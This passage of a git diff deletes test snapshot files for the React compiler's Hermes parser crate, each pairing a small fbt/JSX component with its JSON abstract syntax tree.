-            "loc": null,
-            "range": [
-              26,
-              37
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "a",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                44,
-                45
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "IfStatement",
-                  "test": {
-                    "type": "Identifier",
-                    "name": "b",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      57,
-                      58
-                    ]
-                  },
-                  "consequent": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "IfStatement",
-                        "test": {
-                          "type": "Identifier",
-                          "name": "c",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            72,
-                            73
-                          ]
-                        },
-                        "consequent": {
-                          "type": "BlockStatement",
-                          "body": [
-                            {
-                              "type": "ExpressionStatement",
-                              "expression": {
-                                "type": "CallExpression",
-                                "callee": {
-                                  "type": "MemberExpression",
-                                  "object": {
-                                    "type": "Identifier",
-                                    "name": "x",
-                                    "typeAnnotation": null,
-                                    "loc": null,
-                                    "range": [
-                                      85,
-                                      86
-                                    ]
-                                  },
-                                  "property": {
-                                    "type": "Identifier",
-                                    "name": "push",
-                                    "typeAnnotation": null,
-                                    "loc": null,
-                                    "range": [
-                                      87,
-                                      91
-                                    ]
-                                  },
-                                  "computed": false,
-                                  "loc": null,
-                                  "range": [
-                                    85,
-                                    91
-                                  ]
-                                },
-                                "arguments": [
-                                  {
-                                    "type": "NumericLiteral",
-                                    "value": 0.0,
-                                    "loc": null,
-                                    "range": [
-                                      92,
-                                      93
-                                    ]
-                                  }
-                                ],
-                                "loc": null,
-                                "range": [
-                                  85,
-                                  94
-                                ]
-                              },
-                              "directive": null,
-                              "loc": null,
-                              "range": [
-                                85,
-                                95
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            75,
-                            103
-                          ]
-                        },
-                        "alternate": null,
-                        "loc": null,
-                        "range": [
-                          68,
-                          103
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      60,
-                      109
-                    ]
-                  },
-                  "alternate": null,
-                  "loc": null,
-                  "range": [
-                    53,
-                    109
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                47,
-                113
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              40,
-              113
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  120,
-                  121
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "length",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  122,
-                  128
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                120,
-                128
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ReturnStatement",
-                  "argument": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      143,
-                      144
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    136,
-                    145
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                130,
-                149
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              116,
-              149
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "NullLiteral",
-              "loc": null,
-              "range": [
-                159,
-                163
-              ]
-            },
-            "loc": null,
-            "range": [
-              152,
-              164
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          166
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        166
-      ],
-      "loc": null,
-      "range": [
-        0,
-        166
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    166
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@fbt-call-complex-param-value.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@fbt-call-complex-param-value.js.snap
deleted file mode 100644
index f40751ff37df..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@fbt-call-complex-param-value.js.snap
+++ /dev/null
@@ -1,378 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/fbt-call-complex-param-value.js
----
-Input:
-import fbt from "fbt";
-
-function Component(props) {
-  const text = fbt(
-    `Hello, ${fbt.param("(key) name", capitalize(props.name))}!`,
-    "(description) Greeting"
-  );
-  return <div>{text}</div>;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "ImportDeclaration",
-      "specifiers": [
-        {
-          "type": "ImportDefaultSpecifier",
-          "local": {
-            "type": "Identifier",
-            "name": "fbt",
-            "typeAnnotation": null,
-            "loc": null,
-            "range": [
-              7,
-              10
-            ]
-          },
-          "loc": null,
-          "range": [
-            7,
-            10
-          ]
-        }
-      ],
-      "source": {
-        "type": "StringLiteral",
-        "value": "fbt",
-        "loc": null,
-        "range": [
-          16,
-          21
-        ]
-      },
-      "loc": null,
-      "range": [
-        0,
-        22
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          33,
-          42
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            43,
-            48
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "text",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    60,
-                    64
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "fbt",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      67,
-                      70
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "TemplateLiteral",
-                      "quasis": [
-                        {
-                          "type": "TemplateElement",
-                          "tail": false,
-                          "value": {
-                            "cooked": "Hello, ",
-                            "raw": "Hello, "
-                          },
-                          "loc": null,
-                          "range": [
-                            76,
-                            86
-                          ]
-                        },
-                        {
-                          "type": "TemplateElement",
-                          "tail": true,
-                          "value": {
-                            "cooked": "!",
-                            "raw": "!"
-                          },
-                          "loc": null,
-                          "range": [
-                            133,
-                            136
-                          ]
-                        }
-                      ],
-                      "expressions": [
-                        {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "fbt",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                86,
-                                89
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "param",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                90,
-                                95
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              86,
-                              95
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "StringLiteral",
-                              "value": "(key) name",
-                              "loc": null,
-                              "range": [
-                                96,
-                                108
-                              ]
-                            },
-                            {
-                              "type": "CallExpression",
-                              "callee": {
-                                "type": "Identifier",
-                                "name": "capitalize",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  110,
-                                  120
-                                ]
-                              },
-                              "arguments": [
-                                {
-                                  "type": "MemberExpression",
-                                  "object": {
-                                    "type": "Identifier",
-                                    "name": "props",
-                                    "typeAnnotation": null,
-                                    "loc": null,
-                                    "range": [
-                                      121,
-                                      126
-                                    ]
-                                  },
-                                  "property": {
-                                    "type": "Identifier",
-                                    "name": "name",
-                                    "typeAnnotation": null,
-                                    "loc": null,
-                                    "range": [
-                                      127,
-                                      131
-                                    ]
-                                  },
-                                  "computed": false,
-                                  "loc": null,
-                                  "range": [
-                                    121,
-                                    131
-                                  ]
-                                }
-                              ],
-                              "loc": null,
-                              "range": [
-                                110,
-                                132
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            86,
-                            133
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        76,
-                        136
-                      ]
-                    },
-                    {
-                      "type": "StringLiteral",
-                      "value": "(description) Greeting",
-                      "loc": null,
-                      "range": [
-                        142,
-                        166
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    67,
-                    170
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  60,
-                  170
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              54,
-              171
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    182,
-                    185
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  181,
-                  186
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "text",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      187,
-                      191
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    186,
-                    192
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    194,
-                    197
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  192,
-                  198
-                ]
-              },
-              "loc": null,
-              "range": [
-                181,
-                198
-              ]
-            },
-            "loc": null,
-            "range": [
-              174,
-              199
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          50,
-          201
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        24,
-        201
-      ],
-      "loc": null,
-      "range": [
-        24,
-        201
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    201
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@fbt-call.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@fbt-call.js.snap
deleted file mode 100644
index e965c671525e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@fbt-call.js.snap
+++ /dev/null
@@ -1,358 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/fbt-call.js
----
-Input:
-import fbt from "fbt";
-
-function Component(props) {
-  const text = fbt(
-    `${fbt.param("(key) count", props.count)} items`,
-    "(description) Number of items"
-  );
-  return <div>{text}</div>;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "ImportDeclaration",
-      "specifiers": [
-        {
-          "type": "ImportDefaultSpecifier",
-          "local": {
-            "type": "Identifier",
-            "name": "fbt",
-            "typeAnnotation": null,
-            "loc": null,
-            "range": [
-              7,
-              10
-            ]
-          },
-          "loc": null,
-          "range": [
-            7,
-            10
-          ]
-        }
-      ],
-      "source": {
-        "type": "StringLiteral",
-        "value": "fbt",
-        "loc": null,
-        "range": [
-          16,
-          21
-        ]
-      },
-      "loc": null,
-      "range": [
-        0,
-        22
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          33,
-          42
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            43,
-            48
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "text",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    60,
-                    64
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "fbt",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      67,
-                      70
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "TemplateLiteral",
-                      "quasis": [
-                        {
-                          "type": "TemplateElement",
-                          "tail": false,
-                          "value": {
-                            "cooked": "",
-                            "raw": ""
-                          },
-                          "loc": null,
-                          "range": [
-                            76,
-                            79
-                          ]
-                        },
-                        {
-                          "type": "TemplateElement",
-                          "tail": true,
-                          "value": {
-                            "cooked": " items",
-                            "raw": " items"
-                          },
-                          "loc": null,
-                          "range": [
-                            116,
-                            124
-                          ]
-                        }
-                      ],
-                      "expressions": [
-                        {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "fbt",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                79,
-                                82
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "param",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                83,
-                                88
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              79,
-                              88
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "StringLiteral",
-                              "value": "(key) count",
-                              "loc": null,
-                              "range": [
-                                89,
-                                102
-                              ]
-                            },
-                            {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "props",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  104,
-                                  109
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "count",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  110,
-                                  115
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                104,
-                                115
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            79,
-                            116
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        76,
-                        124
-                      ]
-                    },
-                    {
-                      "type": "StringLiteral",
-                      "value": "(description) Number of items",
-                      "loc": null,
-                      "range": [
-                        130,
-                        161
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    67,
-                    165
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  60,
-                  165
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              54,
-              166
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    177,
-                    180
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  176,
-                  181
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "text",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      182,
-                      186
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    181,
-                    187
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    189,
-                    192
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  187,
-                  193
-                ]
-              },
-              "loc": null,
-              "range": [
-                176,
-                193
-              ]
-            },
-            "loc": null,
-            "range": [
-              169,
-              194
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          50,
-          196
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        24,
-        196
-      ],
-      "loc": null,
-      "range": [
-        24,
-        196
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    196
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@fbt-params-complex-param-value.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@fbt-params-complex-param-value.js.snap
deleted file mode 100644
index a230a474e6a9..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@fbt-params-complex-param-value.js.snap
+++ /dev/null
@@ -1,387 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/fbt-params-complex-param-value.js
----
-Input:
-import fbt from "fbt";
-
-function Component(props) {
-  return (
-    <fbt desc={"Dialog to show to user"}>
-      Hello <fbt:param name="user name">{capitalize(props.name)}</fbt:param>
-    </fbt>
-  );
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "ImportDeclaration",
-      "specifiers": [
-        {
-          "type": "ImportDefaultSpecifier",
-          "local": {
-            "type": "Identifier",
-            "name": "fbt",
-            "typeAnnotation": null,
-            "loc": null,
-            "range": [
-              7,
-              10
-            ]
-          },
-          "loc": null,
-          "range": [
-            7,
-            10
-          ]
-        }
-      ],
-      "source": {
-        "type": "StringLiteral",
-        "value": "fbt",
-        "loc": null,
-        "range": [
-          16,
-          21
-        ]
-      },
-      "loc": null,
-      "range": [
-        0,
-        22
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          33,
-          42
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            43,
-            48
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "fbt",
-                  "loc": null,
-                  "range": [
-                    68,
-                    71
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "desc",
-                      "loc": null,
-                      "range": [
-                        72,
-                        76
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "StringLiteral",
-                        "value": "Dialog to show to user",
-                        "loc": null,
-                        "range": [
-                          78,
-                          102
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        77,
-                        103
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      72,
-                      103
-                    ]
-                  }
-                ],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  67,
-                  104
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXText",
-                  "value": "\n      Hello ",
-                  "raw": "\n      Hello ",
-                  "loc": null,
-                  "range": [
-                    104,
-                    117
-                  ]
-                },
-                {
-                  "type": "JSXElement",
-                  "openingElement": {
-                    "type": "JSXOpeningElement",
-                    "name": {
-                      "type": "JSXNamespacedName",
-                      "namespace": {
-                        "type": "JSXIdentifier",
-                        "name": "fbt",
-                        "loc": null,
-                        "range": [
-                          118,
-                          121
-                        ]
-                      },
-                      "name": {
-                        "type": "JSXIdentifier",
-                        "name": "param",
-                        "loc": null,
-                        "range": [
-                          122,
-                          127
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        118,
-                        127
-                      ]
-                    },
-                    "attributes": [
-                      {
-                        "type": "JSXAttribute",
-                        "name": {
-                          "type": "JSXIdentifier",
-                          "name": "name",
-                          "loc": null,
-                          "range": [
-                            128,
-                            132
-                          ]
-                        },
-                        "value": {
-                          "type": "JSXStringLiteral",
-                          "value": "user name",
-                          "raw": "\"user name\"",
-                          "loc": null,
-                          "range": [
-                            133,
-                            144
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          128,
-                          144
-                        ]
-                      }
-                    ],
-                    "selfClosing": false,
-                    "loc": null,
-                    "range": [
-                      117,
-                      145
-                    ]
-                  },
-                  "children": [
-                    {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "CallExpression",
-                        "callee": {
-                          "type": "Identifier",
-                          "name": "capitalize",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            146,
-                            156
-                          ]
-                        },
-                        "arguments": [
-                          {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "props",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                157,
-                                162
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "name",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                163,
-                                167
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              157,
-                              167
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          146,
-                          168
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        145,
-                        169
-                      ]
-                    }
-                  ],
-                  "closingElement": {
-                    "type": "JSXClosingElement",
-                    "name": {
-                      "type": "JSXNamespacedName",
-                      "namespace": {
-                        "type": "JSXIdentifier",
-                        "name": "fbt",
-                        "loc": null,
-                        "range": [
-                          171,
-                          174
-                        ]
-                      },
-                      "name": {
-                        "type": "JSXIdentifier",
-                        "name": "param",
-                        "loc": null,
-                        "range": [
-                          175,
-                          180
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        171,
-                        180
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      169,
-                      181
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    117,
-                    181
-                  ]
-                },
-                {
-                  "type": "JSXText",
-                  "value": "\n    ",
-                  "raw": "\n    ",
-                  "loc": null,
-                  "range": [
-                    181,
-                    186
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "fbt",
-                  "loc": null,
-                  "range": [
-                    188,
-                    191
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  186,
-                  192
-                ]
-              },
-              "loc": null,
-              "range": [
-                67,
-                192
-              ]
-            },
-            "loc": null,
-            "range": [
-              54,
-              197
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          50,
-          199
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        24,
-        199
-      ],
-      "loc": null,
-      "range": [
-        24,
-        199
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    199
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@fbt-params.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@fbt-params.js.snap
deleted file mode 100644
index 7e022bca6cdf..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@fbt-params.js.snap
+++ /dev/null
@@ -1,367 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/fbt-params.js
----
-Input:
-import fbt from "fbt";
-
-function Component(props) {
-  return (
-    <fbt desc={"Dialog to show to user"}>
-      Hello <fbt:param name="user name">{props.name}</fbt:param>
-    </fbt>
-  );
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "ImportDeclaration",
-      "specifiers": [
-        {
-          "type": "ImportDefaultSpecifier",
-          "local": {
-            "type": "Identifier",
-            "name": "fbt",
-            "typeAnnotation": null,
-            "loc": null,
-            "range": [
-              7,
-              10
-            ]
-          },
-          "loc": null,
-          "range": [
-            7,
-            10
-          ]
-        }
-      ],
-      "source": {
-        "type": "StringLiteral",
-        "value": "fbt",
-        "loc": null,
-        "range": [
-          16,
-          21
-        ]
-      },
-      "loc": null,
-      "range": [
-        0,
-        22
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          33,
-          42
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            43,
-            48
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "fbt",
-                  "loc": null,
-                  "range": [
-                    68,
-                    71
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "desc",
-                      "loc": null,
-                      "range": [
-                        72,
-                        76
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "StringLiteral",
-                        "value": "Dialog to show to user",
-                        "loc": null,
-                        "range": [
-                          78,
-                          102
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        77,
-                        103
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      72,
-                      103
-                    ]
-                  }
-                ],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  67,
-                  104
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXText",
-                  "value": "\n      Hello ",
-                  "raw": "\n      Hello ",
-                  "loc": null,
-                  "range": [
-                    104,
-                    117
-                  ]
-                },
-                {
-                  "type": "JSXElement",
-                  "openingElement": {
-                    "type": "JSXOpeningElement",
-                    "name": {
-                      "type": "JSXNamespacedName",
-                      "namespace": {
-                        "type": "JSXIdentifier",
-                        "name": "fbt",
-                        "loc": null,
-                        "range": [
-                          118,
-                          121
-                        ]
-                      },
-                      "name": {
-                        "type": "JSXIdentifier",
-                        "name": "param",
-                        "loc": null,
-                        "range": [
-                          122,
-                          127
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        118,
-                        127
-                      ]
-                    },
-                    "attributes": [
-                      {
-                        "type": "JSXAttribute",
-                        "name": {
-                          "type": "JSXIdentifier",
-                          "name": "name",
-                          "loc": null,
-                          "range": [
-                            128,
-                            132
-                          ]
-                        },
-                        "value": {
-                          "type": "JSXStringLiteral",
-                          "value": "user name",
-                          "raw": "\"user name\"",
-                          "loc": null,
-                          "range": [
-                            133,
-                            144
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          128,
-                          144
-                        ]
-                      }
-                    ],
-                    "selfClosing": false,
-                    "loc": null,
-                    "range": [
-                      117,
-                      145
-                    ]
-                  },
-                  "children": [
-                    {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            146,
-                            151
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "name",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            152,
-                            156
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          146,
-                          156
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        145,
-                        157
-                      ]
-                    }
-                  ],
-                  "closingElement": {
-                    "type": "JSXClosingElement",
-                    "name": {
-                      "type": "JSXNamespacedName",
-                      "namespace": {
-                        "type": "JSXIdentifier",
-                        "name": "fbt",
-                        "loc": null,
-                        "range": [
-                          159,
-                          162
-                        ]
-                      },
-                      "name": {
-                        "type": "JSXIdentifier",
-                        "name": "param",
-                        "loc": null,
-                        "range": [
-                          163,
-                          168
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        159,
-                        168
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      157,
-                      169
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    117,
-                    169
-                  ]
-                },
-                {
-                  "type": "JSXText",
-                  "value": "\n    ",
-                  "raw": "\n    ",
-                  "loc": null,
-                  "range": [
-                    169,
-                    174
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "fbt",
-                  "loc": null,
-                  "range": [
-                    176,
-                    179
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  174,
-                  180
-                ]
-              },
-              "loc": null,
-              "range": [
-                67,
-                180
-              ]
-            },
-            "loc": null,
-            "range": [
-              54,
-              185
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          50,
-          187
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        24,
-        187
-      ],
-      "loc": null,
-      "range": [
-        24,
-        187
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    187
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@fbt-template-string-same-scope.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@fbt-template-string-same-scope.js.snap
deleted file mode 100644
index 46566d81578e..000000000000
